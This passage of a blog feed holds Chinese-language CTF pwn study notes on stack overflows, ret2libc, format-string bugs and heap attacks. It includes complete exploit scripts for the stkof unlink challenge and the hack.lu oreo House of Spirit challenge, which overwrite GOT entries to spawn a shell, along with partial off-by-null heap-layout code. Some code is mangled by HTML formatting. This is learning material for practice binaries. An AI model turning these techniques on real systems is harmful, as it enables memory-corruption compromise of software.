    <summary type="html">&lt;h1 id=&quot;IDA中的快捷键&quot;&gt;&lt;a href=&quot;#IDA中的快捷键&quot; class=&quot;headerlink&quot; title=&quot;IDA中的快捷键&quot;&gt;&lt;/a&gt;&lt;strong&gt;IDA中的快捷键&lt;/strong&gt;&lt;/h1&gt;&lt;pre&gt;&lt;code&gt;&amp;quot;r&amp;quot;        </summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>缓冲区溢出-CTF-PWN</title>
    <link href="http://example.com/2022/10/01/PWN%E5%AD%A6%E4%B9%A0/"/>
    <id>http://example.com/2022/10/01/PWN%E5%AD%A6%E4%B9%A0/</id>
    <published>2022-10-01T09:33:18.644Z</published>
    <updated>2022-07-12T08:28:35.143Z</updated>
    
    <content type="html"><![CDATA[<p><img src="https://i.loli.net/2021/03/30/4Ycae86bfKsDMCE.gif"></p><h2 id="ida调试快捷键"><a href="#ida调试快捷键" class="headerlink" title="ida调试快捷键"></a>ida调试快捷键</h2><p><img src="https://s2.loli.net/2022/06/02/HQDGO3gy9BWT647.png"></p><p>一字节等于8位或者说8比特</p><p>2字节==16位</p><p>1字长32位PC的字长是32bit，现在开始成为主流的64位CPU字长是64bit，手机上使用较多的ARM处理器大多数是32位</p><h1 id="传参"><a href="#传参" class="headerlink" title="传参"></a>传参</h1><p>64位： 当参数少于7个时， 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9</p><p>32位： 用栈传参</p><h1 id="常用寄存器"><a href="#常用寄存器" class="headerlink" title="常用寄存器"></a>常用寄存器</h1><p>和8086稍有区别，具体如下</p><p><img src="https://i.loli.net/2021/01/30/KJpQyoDv7jRdxeV.gif"></p><h1 id="常用指令"><a href="#常用指令" class="headerlink" title="常用指令"></a>常用指令</h1><p><img src="https://i.loli.net/2021/01/30/SG5b6xYvB7mhKJt.gif"></p><p>调试</p><pre><code>context.log_level=&#39;debug&#39;gdb.attach(io)io.send(p)gdb.attach(p,&#39;b *0x8048600&#39;)利用gdb动调，在0x8048600处下了个断点</code></pre><p>ROPgadget</p><pre><code>ROPgadget --binary ret2syscall --only &quot;pop|ret&quot;</code></pre><p>LibcSearcher</p><pre><code>libc = LibcSearcher(&quot;gets&quot;,gets_real_addr)libcbase = gets_real_addr – obj.dump(&quot;fgets&quot;)system_addr = libcbase + obj.dump(&quot;system&quot;)            #system 偏移bin_sh_addr = libcbase + obj.dump(&quot;str_bin_sh&quot;)         #/bin/sh 偏移</code></pre><p>关闭所以防护编译</p><pre><code>gcc tar.c -z execstack -fno-stack-protector -no-pie -z norelro -o tar-fPIC</code></pre><p>生成shellcode</p><pre><code>shellcode = asm(shellcraft.sh())</code></pre><p>linux自带工具（搜索函数）：</p><pre><code>cd xxxstrings xxx</code></pre><p>输出xxx文件中所有可打印字符<br>    strings -t x libc-2.19.so | grep /bin/sh</p><pre><code>strings xxx | grep /bin/sh</code></pre><p>若有则打印bin/sh字符<br>查看内存</p><pre><code>vmmap </code></pre><p>​<br>查看xxx使用的libc路径及其版本</p><pre><code>ldd xxx</code></pre><p>查看栈中内容    </p><pre><code>stack 300</code></pre><p>查看寄存器</p><pre><code>p /x $rbp</code></pre><p>更改换行符</p><pre><code>dos2unix myexp.py</code></pre><p>查看栈值</p><pre><code>x /40gx $rsp</code></pre><p>​<br>    40代表是显示数目</p><p>​<br>    g代表是8bit显示，x以16进制显示</p><p>​<br>    第一个x代表查看内存</p><blockquote><p>libc_base = int(io.recvuntil(b”\n”,dorp = true),16) - libc.symbols[“puts”]</p></blockquote><blockquote><blockquote><p>int ： 将收到的 16 进制字符串转换成整数<br>dorp = true 是否丢弃掉\n字符，（是）</p></blockquote></blockquote><blockquote><p>cyclic(60)</p></blockquote><blockquote><blockquote><p>生产60字节的垃圾数据</p></blockquote></blockquote><blockquote><p>shellcode = asm(shellcraft.sh())</p></blockquote><blockquote><blockquote><p>生成shellcode</p></blockquote></blockquote><blockquote><p>格式化字符串的任意地址值的修改</p></blockquote><blockquote><p>payload = fmtstr_payload(12,{0x804a048:0x02223322})<br>fmtstr_payload(offset,{addr:number})</p></blockquote><h1 id="ubuntu-ios-镜像文件下载"><a href="#ubuntu-ios-镜像文件下载" class="headerlink" title="ubuntu ios 镜像文件下载"></a>ubuntu ios 镜像文件下载</h1><p><a href="http://mirrors.aliyun.com/ubuntu-releases/">http://mirrors.aliyun.com/ubuntu-releases/</a></p><h1 id="安装VMware-tools"><a href="#安装VMware-tools" class="headerlink" title="安装VMware tools"></a>安装VMware tools</h1><h2 id="安装失败"><a href="#安装失败" class="headerlink" title="安装失败"></a>安装失败</h2><p>进入vmware-tools-distrib/bin, 执行sudo ./vmware-uninstall-tools.pl, （网上有些资料说还需要rm -rf /usr/lib/VMware， 不过我在/usr/lib下已经找不到相关文件了）</p><p>回到vmware-tools-distrib， 重新执行sudo ./vmware-install.pl ， 一路回车</p><p>reboot， 解决！！</p><h2 id="无法拖拽"><a href="#无法拖拽" class="headerlink" title="无法拖拽"></a>无法拖拽</h2><p>执行</p><p>apt-get install open-vm-tools-desktop fuse</p><p>以安装open-vm-tools</p><h1 id="DynELF模块的使用"><a href="#DynELF模块的使用" class="headerlink" title="DynELF模块的使用"></a>DynELF模块的使用</h1><pre><code>def leak(address):    payload=&#39;A&#39;*junk+p32(write_plt)+p32(func_addr)+p32(1)+p32(address)+p32(4)    #junk是溢出需要的字节，利用pwndbg中的cyclic可以计算出    #write(1,address,4)表示将address向外写    r.send(payload)    data = r.recv(4)    print(data)    return datadyn=DynELF(leak,elf=ELF(&#39;./pwn200&#39;))#调用DynELFsys_addr = dyn.lookup(&#39;system&#39;,libc)print(&#39;system address:&#39;,hex(sys_addr))</code></pre><h1 id="ret2syscall"><a href="#ret2syscall" class="headerlink" title="ret2syscall"></a>ret2syscall</h1><p>系统调用（x86）<br>    mov eax , 0xb            #系统调用号<br>    mov ebx , [“/bin/sh”]<br>    mov ecx , 0                #参数<br>    mov edx , 0<br>    int 0x80                #中断号</p><p>=&gt; execve(“/bin/sh”,NULL,NULL)</p><p>ROPgadget –binary ret2syscall –only “pop|ret”</p><p>ret  就是pop eip ; esp-2   #b站大学 p3 150 左右</p><p>小端序  与  大端序</p><p>小端序 ： </p><p><img src="https://i.loli.net/2021/03/24/HE4yxZKq7pYGi6V.gif"></p><p>重要寄存器功能：</p><p>RIP<br>*存放当前指令的地址</p><p>RSP<br>*存放当前栈帧的栈顶地址</p><p>RBP<br>*存放当前栈帧的栈底地址</p><p>RAX<br>*同用寄，存放函数存器返回值</p><p>#报错</p><p>##UnicodeDecodeError: ‘ascii’ codec can’t decode byte 0xe6 in position 36: ordinal not</p><p>UnicodeDecodeError: ‘ascii’ codec can’t decode byte 0xe6 in position 36: ordinal not in range(128)</p><p>原因是：python的str默认是ascii编码，和unicode编码冲突，就会报这个标题错误</p><p>解决的办法是，在开头添加如下代码：</p><pre><code>import sysreload(sys)sys.setdefaultencoding(&#39;utf8&#39;)</code></pre><h1 id="Ret2libc"><a href="#Ret2libc" class="headerlink" title="Ret2libc"></a>Ret2libc</h1><p><img src="https://i.loli.net/2021/03/24/6aJWjcAIN5Mteu2.gif"></p><p>system_elf = elf.plt[“system”]</p><p>linux自带工具（搜索函数）：</p><p>cd xxx<br>strings xxx</p><p>输出xxx文件中所有可打印字符</p><p>string xxx | grep /bin/sh</p><p>若有则打印bin/sh字符</p><p>如下图，连续调用函数时栈 的结构</p><p><img src="https://i.loli.net/2021/03/24/3E9uhZ6bokyN1We.gif"></p><p>system 执行时找到上两个字作为参数（bin/sh）<br>然后pop bin/sh ， return</p><p>在执行puts函数，上两字寻找参数“hello world”<br>然后pop_ret</p><p>最后执行exit 函数，同上</p><p>libc.symbols[“system”] - libc.symblos[“puts”]</p><p>sendlineafter(b”:”,str(elf.got[“puts”]))</p><p>sh.recv(numb = 2048, timeout = dufault)  接受数据，numb指定接收的字节，timeout指定超时<br>sh.recvline(keepends=True)  接受一行数据，keepends为是否保留行尾的\n</p><p>接收到：后，将puts函数的got表地址以字符串形式发送</p><p>recvuntil（b”:”）</p><p>接收直到：</p><p>libc_base = int(io.recvuntil(b”\n”,dorp = true),16) - libc.symbols[“puts”]</p><p>int ： 将收到的 16 进制字符串转换成整数<br>dorp = true 是否丢弃掉\n字符，（是）</p><p>cyclic(60)</p><p>生产60字节的垃圾数据</p><p>shellcode = asm(shellcraft.sh())</p><p>生成shellcode</p><blockquote><blockquote><p>e = ELF(‘/bin/cat’)<br>print hex(e.address)  # 文件装载的基地址<br>0x400000</p></blockquote></blockquote><blockquote><blockquote><p>print hex(e.symbols[‘write’]) # 函数地址<br>0x401680</p></blockquote></blockquote><blockquote><blockquote><p>print hex(e.got[‘write’]) # GOT表的地址<br>0x60b070</p></blockquote></blockquote><blockquote><blockquote><p>print hex(e.plt[‘write’]) # PLT的地址<br>0x401680</p></blockquote></blockquote><blockquote><blockquote><p>print hex(e.search(‘/bin/sh’).next())# 字符串/bin/sh的地址</p></blockquote></blockquote><blockquote><blockquote><p>gdb.attach(sh) ———-v</p></blockquote></blockquote><blockquote><blockquote><p>sh.send(p)      ——–&gt;启动gdb调试</p></blockquote></blockquote><p>vmmap </p><pre><code>查看内存</code></pre><p>ldd xxx</p><pre><code>查看xxx使用的libc路径及其版本</code></pre><p>stack 300</p><pre><code>查看栈中内容</code></pre><h1 id="docker"><a href="#docker" class="headerlink" title="docker"></a>docker</h1><p>换源</p><pre><code>https://developer.aliyun.com/mirror/?spm=a2c6h.13651104.0.d1002.7711506fiiugWK</code></pre><p>sudo apt update<br>sudo apt upgrade</p><p>在etc/docker下修改docker镜像源，如果没有 daemon.json就新建添加以下内容：</p><pre><code>&#123;  &quot;registry-mirrors&quot;: [&quot;http://hub-mirror.c.163.com&quot;]&#125;# 也可以添加多个国内源&#123;&quot;registry-mirrors&quot;: [&quot;http://hub-mirror.c.163.com&quot;, &quot;https://registry.docker-cn.com&quot;]&#125;pip install docker-composedocker-compose up -ddocker-compose build</code></pre><p>查看</p><pre><code>docker images -adocker ps -a</code></pre><p>docker images -q redis会输出所有仓库名为redis的镜像id，所以如果想要删除所有仓库名为redis的镜像，可以这么写：</p><pre><code>docker rmi $(docker images –q redis)</code></pre><p>如果想要删除所有镜像，可以这么写：</p><pre><code>docker rmi $(docker images –qa)</code></pre><p>pwn_deploy_chroot-master<br><a href="https://github.com/giantbranch/pwn_deploy_chroot">https://github.com/giantbranch/pwn_deploy_chroot</a></p><pre><code>如何使用1. Put your pwn program to ./bin （Note that the filename should not contain special characters.）2. python initialize.py3. docker-compose up --build -d     # please run as root您可以编辑 config.py 以决定是否将 /bin/sh 替换为 catflag# Whether to replace /bin/sh## replaceREPLACE_BINSH = True## not replace(default)REPLACE_BINSH = False</code></pre><h1 id="格式化字符串漏洞"><a href="#格式化字符串漏洞" class="headerlink" title="格式化字符串漏洞"></a>格式化字符串漏洞</h1><blockquote><p>%100$p</p></blockquote><blockquote><p>$p</p><blockquote><p>打印栈中保存的内容</p></blockquote></blockquote><blockquote><p>%s</p><blockquote><p>将栈中数据解析为地址，打印地址所对应的数据</p></blockquote></blockquote><blockquote><p>%n</p><blockquote><p>写入前方打印成功的字符的个数</p></blockquote></blockquote><p>堆栈图入下</p><p><img src="https://i.loli.net/2021/03/30/ejlVFMdDOQTAPmo.gif"></p><h1 id="ubuntu根目录下空间不足，syslog占用很大空间"><a href="#ubuntu根目录下空间不足，syslog占用很大空间" class="headerlink" title="ubuntu根目录下空间不足，syslog占用很大空间"></a>ubuntu根目录下空间不足，syslog占用很大空间</h1><p>查看当前系统内存情况</p><p>df -h</p><p>查看当前目录下所有木有资源占用情况</p><p>du -sh * </p><p>syslog占用很大空间，可以清空</p><p>cat /dev/null &gt; /var/log/syslog</p><h1 id="堆"><a href="#堆" class="headerlink" title="堆"></a>堆</h1><p>当申请的堆较小时，直接在data段申请一段空间。</p><p>当申请的堆较大时，则在mmap段申请一段空间</p><p>清除缓冲区</p><pre><code>setbuf(stdout,0)</code></pre><h3 id="chunk"><a href="#chunk" class="headerlink" title="chunk"></a>chunk</h3><p>是内存分配的基本单位</p><p>只会分配字长整数倍的chunk(会自动补齐)</p><p>int* p = malloc(0x100)  实际消耗0x110,因为需要两个控制字段。</p><p><img src="https://i.loli.net/2021/03/31/obmD7J9wpxkS8I1.gif"></p><h3 id="malloc-chunk"><a href="#malloc-chunk" class="headerlink" title="malloc chunk"></a>malloc chunk</h3><p>size的后3 Bity存储控制信息</p><p>|A|M|P|</p><p>prev size 用于存储上一个free chunk大小</p><p>size  用于存储自身控制字段和数据字段大小</p><p>p = 0 表示为free chunk</p><p>p = 1 表示非free chunk</p><p>特殊的是 ， fast chunk的p总是为1 ， 并且不会合并。</p><p><img src="https://i.loli.net/2021/03/31/piN8YSfP9J634t1.gif"></p><h3 id="free-chunk-的合并"><a href="#free-chunk-的合并" class="headerlink" title="free chunk 的合并"></a>free chunk 的合并</h3><p>当下一个chunk发现上一个chunk也是free_chunk时，两个chunk将被合并，size变为两个chunk的总和</p><p>但是数据仍在原地，结构如图</p><p><img src="https://i.loli.net/2021/03/31/B4CGDpESHVWJMmT.gif"></p><p>当堆较小时，堆就在data和bss段的高地址</p><p><img src="https://i.loli.net/2021/03/31/RbFO3SiUqQynHCg.gif"></p><p>逻辑链表</p><blockquote><p>fasebins 按照堆的大小分配bin</p></blockquote><blockquote><p>而每个链表由指针链接形成链表</p></blockquote><blockquote><p>由fd指针指向下一个chunk</p></blockquote><p><img src="https://i.loli.net/2021/03/31/Uefvz8EP7TDpwal.gif"></p><p>###bin双向链表</p><blockquote><p>bin也是栈的结构</p><p>由fd指针指向下一个chunk</p><p>由bk指针指向上一个chunk</p><p>每个chunk相互链接形成双向链表</p></blockquote><p><img src="https://i.loli.net/2021/03/31/wEejkFsSzI6BYtU.gif"><br><img src="https://i.loli.net/2021/03/31/5lEriA7xubqcows.gif"></p><h2 id="double-free-漏洞"><a href="#double-free-漏洞" class="headerlink" title="double_free 漏洞"></a>double_free 漏洞</h2><pre><code>int* p = malloc(0x300) ;int* q = malloc(0x200) ;free(q);free(p);free(q);</code></pre><h1 id="可利用函数"><a href="#可利用函数" class="headerlink" title="可利用函数"></a>可利用函数</h1><p>##fmtstr_payload</p><pre><code>fmtstr_payload(offset, writes, numbwritten=0, write_size=&#39;byte&#39;)</code></pre><p>第一个参数表示格式化字符串的偏移；</p><p>第二个参数表示需要利用%n写入的数据，采用字典形式，我们要将printf的GOT数据改为system函数地址，就写成{printfGOT: systemAddress}</p><p>第三个参数表示已经输出的字符个数，若没有，为0，采用默认值即可；</p><p>第四个参数表示写入方式，是按字节（byte）、按双字节（short）还是按四字节（int），对应着hhn、hn和n，默认值是byte，即按hhn写。</p><p>fmtstr_payload函数返回的就是payload</p><p>##mprotect</p><pre><code>mprotect(void *addr, size_t len, int prot)</code></pre><p>利用vmmap命令在gdb中找到可以修改的段</p><p>int mprotect(void *addr, size_t len, int prot);</p><p>addr：修改保护属性区域的起始地址，addr必须是一个内存页的起始地址，简而言之为页大小（一般是 4KB == 4096字节）整数倍。</p><p>len：被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。<br>prot：可以取以下几个值，并可以用“|”将几个属性结合起来使用：</p><p>1）PROT_READ：内存段可读；</p><p>2）PROT_WRITE：内存段可写；</p><p>3）PROT_EXEC：内存段可执行；</p><p>4）PROT_NONE：内存段不可访问。</p><p>返回值：0；成功，-1；失败（并且errno被设置）</p><p>1）EACCES：无法设置内存段的保护属性。当通过 mmap(2) 映射一个文件为只读权限时，接着使用 mprotect() 标志为 PROT_WRITE这种情况就会发生。</p><p>2）EINVAL：addr不是有效指针，或者不是系统页大小的倍数。</p><p>3）ENOMEM：内核内部的结构体无法分配。</p><h2 id="unlink"><a href="#unlink" class="headerlink" title="unlink"></a>unlink</h2><p>利用Unlink机制，向unsortedbin中写入chunk，从而达到攻击效果。这里以ctf-wiki 的例题作为理解。</p><hr><pre><code>context.terminal = [&#39;gnome-terminal&#39;, &#39;-x&#39;, &#39;sh&#39;, &#39;-c&#39;]if args[&#39;DEBUG&#39;]:    context.log_level = &#39;debug&#39;context.binary = &quot;./stkof&quot;stkof = ELF(&#39;./stkof&#39;)if args[&#39;REMOTE&#39;]:    p = remote(&#39;127.0.0.1&#39;, 7777)else:    p = process(&quot;./stkof&quot;)log.info(&#39;PID: &#39; + str(proc.pidof(p)[0]))libc = ELF(&#39;./libc.so.6&#39;)head = 0x602140def alloc(size):    p.sendline(&#39;1&#39;)    p.sendline(str(size))    p.recvuntil(&#39;OK\n&#39;)</code></pre><p>​<br>    def edit(idx, size, content):<br>        p.sendline(‘2’)<br>        p.sendline(str(idx))<br>        p.sendline(str(size))<br>        p.send(content)<br>        p.recvuntil(‘OK\n’)</p><p>​<br>    def free(idx):<br>        p.sendline(‘3’)<br>        p.sendline(str(idx))</p><p>​<br>    def exp():<br>    # trigger to malloc buffer for io function<br>    alloc(0x100)  # idx 1<br>    # begin<br>    alloc(0x30)  # idx 2<br>    # small chunk size in order to trigger unlink<br>    alloc(0x80)  # idx 3<br>    # a fake chunk at global[2]=head+16 who’s size is 0x20<br>    payload = p64(0)  #prev_size<br>    payload += p64(0x20)  #size<br>    payload += p64(head + 16 - 0x18)  #fd<br>    payload += p64(head + 16 - 0x10)  #bk<br>    payload += p64(0x20)  # next chunk’s prev_size bypass the check<br>    payload = payload.ljust(0x30, ‘a’)</p><pre><code># overwrite global[3]&#39;s chunk&#39;s prev_size# make it believe that prev chunk is at global[2]payload += p64(0x30)# make it believe that prev chunk is freepayload += p64(0x90)edit(2, len(payload), payload)# unlink fake chunk, so global[2] =&amp;(global[2])-0x18=head-8free(3)p.recvuntil(&#39;OK\n&#39;)# overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@gotpayload = &#39;a&#39; * 8 + p64(stkof.got[&#39;free&#39;]) + p64(stkof.got[&#39;puts&#39;]) + p64(    stkof.got[&#39;atoi&#39;])edit(2, len(payload), payload)# edit free@got to puts@pltpayload = p64(stkof.plt[&#39;puts&#39;])edit(0, len(payload), payload)# free global[1] to leak puts addrfree(1)puts_addr = p.recvuntil(&#39;\nOK\n&#39;, drop=True).ljust(8, &#39;\x00&#39;)puts_addr = u64(puts_addr)log.success(&#39;puts addr: &#39; + hex(puts_addr))libc_base = puts_addr - libc.symbols[&#39;puts&#39;]binsh_addr = libc_base + next(libc.search(&#39;/bin/sh&#39;))system_addr = libc_base + libc.symbols[&#39;system&#39;]log.success(&#39;libc base: &#39; + hex(libc_base))log.success(&#39;/bin/sh addr: &#39; + hex(binsh_addr))log.success(&#39;system addr: &#39; + hex(system_addr))# modify atoi@got to system addrpayload = p64(system_addr)edit(2, len(payload), payload)p.send(p64(binsh_addr))p.interactive()</code></pre><p>​<br>    if <strong>name</strong> == “<strong>main</strong>“:<br>        exp()</p><hr><p>首先构造堆如图所示</p><p><img src="https://i.loli.net/2021/05/10/3Vi6RJ9yWMC4SEm.jpg"></p><p>那么在unsortedbin中则会出现0x6002270-0x18 的chunk，我们通过修改一些chunk为函数来实现其调用。</p><pre><code>payload = &#39;a&#39; * 8 + p64(stkof.got[&#39;free&#39;]) + p64(stkof.got[&#39;puts&#39;]) + p64(stkof.got[&#39;atoi&#39;])edit(2, len(payload), payload)</code></pre><p>例如上一句，向bin中写入了各个函数地址作为chunk地址。</p><p><img src="https://i.loli.net/2021/05/11/s2kbStcz71L9TfQ.gif"></p><pre><code>payload = p64(stkof.plt[&#39;puts&#39;])edit(0, len(payload), payload)</code></pre><p>接着，覆盖free的地址为puts，实现泄露。</p><p>如法炮制，实现system函数的调用。</p><blockquote><blockquote><p>也可以将free改为system，在chunk[3]中写入”bin/sh\0x00”,最后free(3)也可以实现getshell</p></blockquote></blockquote><h1 id="fastbin-attack"><a href="#fastbin-attack" class="headerlink" title="fastbin_attack"></a>fastbin_attack</h1><p>fastbin_attach 其基础攻击手段如下：</p><blockquote><blockquote><p><strong>double_free</strong></p></blockquote><p>1.fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空</p><p>2.fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块，即链表指针头部的块。对于链表后面的块，并没有进行验证。</p></blockquote><p>我们可以构造如下的结构来实现任意地址写的功能</p><p><img src="https://i.loli.net/2021/05/16/GaKyohANWqgInHJ.gif"></p><blockquote><blockquote><p><strong>House of Spirit</strong></p></blockquote><p>该技术的核心在于在目标位置处伪造 fastbin chunk，并将其释放，从而达到分配指定地址的 chunk 的目的。</p></blockquote><p>但是想要成功链接fack_chunk需要如下条件</p><p>fack_chunk 的ISMMAP位不能为1，因为free时mmap的chunk，会单独处理</p><p>fack_chunk 的地址需要对齐，MALLOC_ALIGN_MASK</p><p>fack_chunk 的size大小需要满足相应fastbin，同时也应对齐</p><p>fack_chunk 的next_chunk大小不可越界。即不能小于 2 * SIZE_SZ，同时也不能大于av-&gt;system_mem</p><p>fake chunk 对应的 fastbin 链表头部不能是该 fake chunk，即不能构成 double free 的情况</p><blockquote><blockquote><p>Alloc to Stack  &amp;&amp;  Arbitrary Alloc</p></blockquote><p>分别是将堆分配到栈，或者是任意地址</p></blockquote><blockquote><p>alloc to stack 可以覆盖栈的返回地址来劫持执行流</p><p>arbirtary alloc 可以使用字节错位来实现直接分配 fastbin 到_malloc_hook 的位置，相当于覆盖_malloc_hook 来控制程序流程。（这个我暂时也不懂）</p></blockquote><p>下面就用一道题来实际演示下</p><p>2014 hack.lu oreo <a href="https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/fastbin-attack/2014_hack.lu_oreo">题目链接</a></p><p>1.利用堆溢出漏洞，泄露free_got 的地址（那么哪里才能买到呢？）</p><p>我们先free掉任意一个chunk，因为libc的延迟绑定机制，现在我们将free_got写入next_chunk中，然后 show 来泄露got表地址</p><p>2.因为 ++rifle_cnt 语句 会记录创建的chunk的个数，因此可以为攻击准备环境。</p><p>再向message写入payload，准备如下条件来绕过检测</p><pre><code>payload = b&#39;a&#39;*0x1c + b&#39;\x00&#39;*4 + b&#39;A&#39;*4 + p32(100)           #padding + last_chunk + pre_size + size</code></pre><p>现在我们实现了任意地址写入的功能</p><p>3.get_shell</p><p>我们修改某函数的got表指针为libc.symbols[‘system’]函数的地址，利用fget函数写入，并执行该函数，就可以get_shell。</p><p>exp如下<br>    #! /usr/bin/python3<br>    from pwn import *<br>    io = process(‘./oreo’)<br>    elf=ELF(‘./oreo’)<br>    context.log_level=’debug’<br>    libc = ELF(‘libc.so.6’)</p><pre><code>def add (name,des):    io.sendline(&#39;1&#39;)    #io.recvuntil(&#39;Rifle name: &#39;)    io.sendline(name)    #io.recvuntil(&#39;Rifle description: &#39;)    io.sendline(des)def show ():    io.sendline(&#39;2&#39;)def order ():    io.sendline(&#39;3&#39;)def message (notice):    io.sendline(&#39;4&#39;)    #io.recvuntil(&#39;order: &#39;)    io.sendline(notice)</code></pre><p>​<br>    #1 — leak the libcbase<br>    add(b’a’,b’b’)<br>    order()<br>    free_got = elf.got[‘free’]<br>    add(b’a’*27+p32(free_got) , b’b’*25)<br>    show()<br>    io.recvuntil(‘Description: ‘)<br>    io.recvuntil(‘Description: ‘)<br>    free_addr = u32(io.recv(4).ljust(4,b’\x00’))<br>    print (“free_addr=” , hex(free_addr))<br>    libc_base = free_addr - libc.sym[‘free’]<br>    system_addr = libc_base + libc.sym[‘system’]<br>    print (“system_addr”, hex(system_addr))</p><pre><code>#2 --- malloc to bssfor i in range(0x40-2-1):    add(b&#39;a&#39;*27+p32(0),str(i))message_addr = 0x0804A2A8add(b&#39;a&#39;*26+b&#39;A&#39;+p32(message_addr) , b&#39;b&#39;) #write from A8 , message from ccpayload = b&#39;a&#39;*0x1c + b&#39;\x00&#39;*4 + b&#39;A&#39;*4 + p32(100)           #padding + last_chunk + pre_size + sizemessage(payload)    #from c0order()io.recvuntil(&#39;Okay order submitted!&#39;)#get_shellpayload = p32(elf.got[&#39;strlen&#39;])#gdb.attach(cn)add(&#39;b&#39;,payload)   # 0x40: 0x804a2a0 —▸ 0x863c390 ◂— 0x0gdb.attach(cn)message(p32(system_addr)+ b&#39;;/bin/sh\x00&#39;)  #0x804a2a0</code></pre><p>​<br>​<br>    gdb.attach(io)<br>    io.interactive()</p><h1 id="mips"><a href="#mips" class="headerlink" title="mips"></a>mips</h1><h2 id="安装命令"><a href="#安装命令" class="headerlink" title="安装命令"></a>安装命令</h2><p>apt-get install emdebian-archive-keyring  </p><p>apt install gcc-mips-linux-gnu</p><h2 id="使用apt安装时报错"><a href="#使用apt安装时报错" class="headerlink" title="使用apt安装时报错"></a>使用apt安装时报错</h2><p>E: Could not get lock /var/lib/dpkg/lock-frontend - open (11: Resource temporarily unavailable)<br>E: Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), is another process using it?</p><p>解决方案：<br>方案一：</p><p>sudo killall apt apt-get</p><p>如果提示没有apt进程：</p><p>apt: no process found<br>apt-get: no process found</p><p>往下看方案二<br>方案二：<br>依次执行：</p><p>sudo rm /var/lib/apt/lists/lock<br>sudo rm /var/cache/apt/archives/lock<br>sudo rm /var/lib/dpkg/lock*<br>sudo dpkg –configure -a<br>sudo apt update</p><p>完成！</p><h2 id="编译命令"><a href="#编译命令" class="headerlink" title="编译命令"></a>编译命令</h2><p>mips-linux-gnu-gcc [xxx.c] -static -o [xxxx]</p><h2 id="写入字符引发溢出"><a href="#写入字符引发溢出" class="headerlink" title="写入字符引发溢出"></a>写入字符引发溢出</h2><p>python -c “print ‘A’*200” &gt; passwd</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;&lt;img src=&quot;https://i.loli.net/2021/03/30/4Ycae86bfKsDMCE.gif&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;ida调试快捷键&quot;&gt;&lt;a href=&quot;#ida调试快捷键&quot; class=&quot;headerlink&quot; title=&quot;ida调试快捷</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>off_by_none_2.31</title>
    <link href="http://example.com/2022/10/01/off_by_none_2.31/"/>
    <id>http://example.com/2022/10/01/off_by_none_2.31/</id>
    <published>2022-10-01T09:33:18.641Z</published>
    <updated>2022-01-16T03:44:40.898Z</updated>
    
    <content type="html"><![CDATA[<p>在2.29的版本后加入了这样的防护</p><pre><code>  if (__glibc_unlikely (chunksize(p) != prevsize))    malloc_printerr (&quot;corrupted size vs. prev_size while consolidating&quot;);</code></pre><p>/* consolidate backward */<br>    if (!prev_inuse(p)) {<br>      prevsize = prev_size (p);<br>      size += prevsize;<br>      p = chunk_at_offset(p, -((long) prevsize));<br>      if (__glibc_unlikely (chunksize(p) != prevsize))<br>        malloc_printerr (“corrupted size vs. prev_size while consolidating”);<br>      unlink_chunk (av, p);<br>    }</p><pre><code>// fd bkif (__builtin_expect (FD-&gt;bk != P || BK-&gt;fd != P, 0))                      \  malloc_printerr (check_action, &quot;corrupted double-linked list&quot;, P, AV);  \</code></pre><p>也就是说上一chunk的size必须要与该chunk的prevsize一致并且还要通过unlink的检测。</p><p>所以fake_chunk必须可以控制其size,fd,bk使其 FD-&gt;bk == p ; BK-&gt;fd == p 。 之后通过溢出修改某一chunk(D)的prevsize和inuse位为\x00 ，此时free(D)与p 形成合并，p与其FD,BK进行unlink操作。即可形成overloap</p><p><img src="https://s2.loli.net/2022/01/16/nQgS4yhpcwZKD7e.png"></p><p>以Balsn_CTF_2019-PlainText举例：</p><pre><code>   for i in range(16):      add(0x10,&#39;fill&#39;)   for i in range(16):      add(0x60,&#39;fill&#39;)   for i in range(9):      add(0x70,&#39;fill&#39;)   for i in range(5):      add(0xC0,&#39;fill&#39;)   for i in range(2):      add(0xE0,&#39;fill&#39;)   add(0x170,&#39;fill&#39;)   add(0x190,&#39;fill&#39;)# 49   add(0xa9D0,&#39;addralign&#39;) # 50</code></pre><h2 id="1-准备"><a href="#1-准备" class="headerlink" title="1.准备"></a>1.准备</h2><p>如果bin里有堆，最好把他申请出来，然后申请到合适的chunk大小使得下一chunk的地址的后16位为\x00 (实际远程时无法控制低4位的大小，需要进行爆破，有1/16的概率)</p><p><img src="https://s2.loli.net/2022/01/16/H9JQZ64UxNY5DK1.png"></p><h2 id="2-布局"><a href="#2-布局" class="headerlink" title="2.布局"></a>2.布局</h2><pre><code>   add(0x28,p64(0) + p64(0x241) + b&#39;\x28&#39;) # 53 fd-&gt;bk : 0xA0 - 0x18   add(0x28,&#39;pass-loss control&#39;) # 54   add(0xF8,&#39;pass&#39;) # 55   add(0x28,&#39;pass&#39;) # 56   add(0x28,&#39;pass&#39;) # 57   add(0x28,&#39;pass&#39;) # 58   add(0x28,&#39;pass&#39;) # 59   add(0x28,&#39;pass-loss control&#39;) # 60   add(0x4F8,&#39;to be off-by-null&#39;) # 61  0250</code></pre><p>其中\x28是p-&gt;fd , 0x241是p(fake_chunk的size)之后也会以这个大小与 chunk61 来合并.</p><h2 id="3-修复fd"><a href="#3-修复fd" class="headerlink" title="3.修复fd"></a>3.修复fd</h2><p>此时BK-&gt;fd还没有修复好，为了在修复的同时不破坏掉size，需要把它放入fastbin.同时为了利用地址信息需要把 B , C , A 依次free掉</p><p><img src="https://s2.loli.net/2022/01/16/EUSDhnVw4gTo8KI.png"></p><p>所以，需要先将Tcache 填满 ， 然后依次 free chunk B C A ，清空Tcache ，申请回chunk(A)，复写fd,使其指向p (BK-fd构造完成)</p><p>然后由于 Tcache 的 stash 机制，chunk B C 进入 Tcache，再申请回来的就是 chunk B，部分覆写使 fd 指向 fake_chunk。(FD-&gt;bk构造完成)</p><pre><code>   for i in range(7):      add(0x28,&#39;tcache&#39;)   for i in range(7):      delete(61 + 1 + i)   delete(54)     #b  0040   delete(60)     #c  0230   delete(53)     #a  0000   